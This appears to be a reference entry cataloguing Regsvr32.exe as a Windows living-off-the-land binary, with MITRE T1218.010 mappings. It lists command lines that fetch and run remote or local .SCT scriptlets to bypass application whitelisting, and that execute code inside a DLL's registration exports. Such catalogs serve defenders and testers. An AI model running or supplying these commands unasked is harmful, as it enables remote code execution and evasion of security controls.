Regsvr32.exe

type: OSBinaries
Used by Windows to register dlls

Full path

C:\Windows\System32\regsvr32.exe
C:\Windows\SysWOW64\regsvr32.exe

Commands

  1. AWL BypassUser T1218.010

    Execute code from remote scriptlet, bypass Application whitelisting

    regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

    Execute the specified remote .SCT script with scrobj.dll.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: SCTExecute: Remote

  2. AWL BypassUser T1218.010

    Execute code from scriptlet, bypass Application whitelisting

    regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

    Execute the specified local .SCT script with scrobj.dll.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: SCT

  3. ExecuteUser T1218.010

    Execute code from remote scriptlet, bypass Application whitelisting

    regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

    Execute the specified remote .SCT script with scrobj.dll.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: SCTExecute: Remote

  4. ExecuteUser T1218.010

    Execute code from scriptlet, bypass Application whitelisting

    regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

    Execute the specified local .SCT script with scrobj.dll.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: SCT

  5. ExecuteUser T1218.010

    Execute DLL file

    regsvr32.exe /s {PATH:.dll}

    Execute code in a DLL. The code must be inside the exported function DllRegisterServer.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLL

  6. ExecuteUser T1218.010

    Execute DLL file

    regsvr32.exe /u /s {PATH:.dll}

    Execute code in a DLL. The code must be inside the exported function DllUnRegisterServer.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLL

Detection

Resources

acknowledgement: Casey Smith @subtee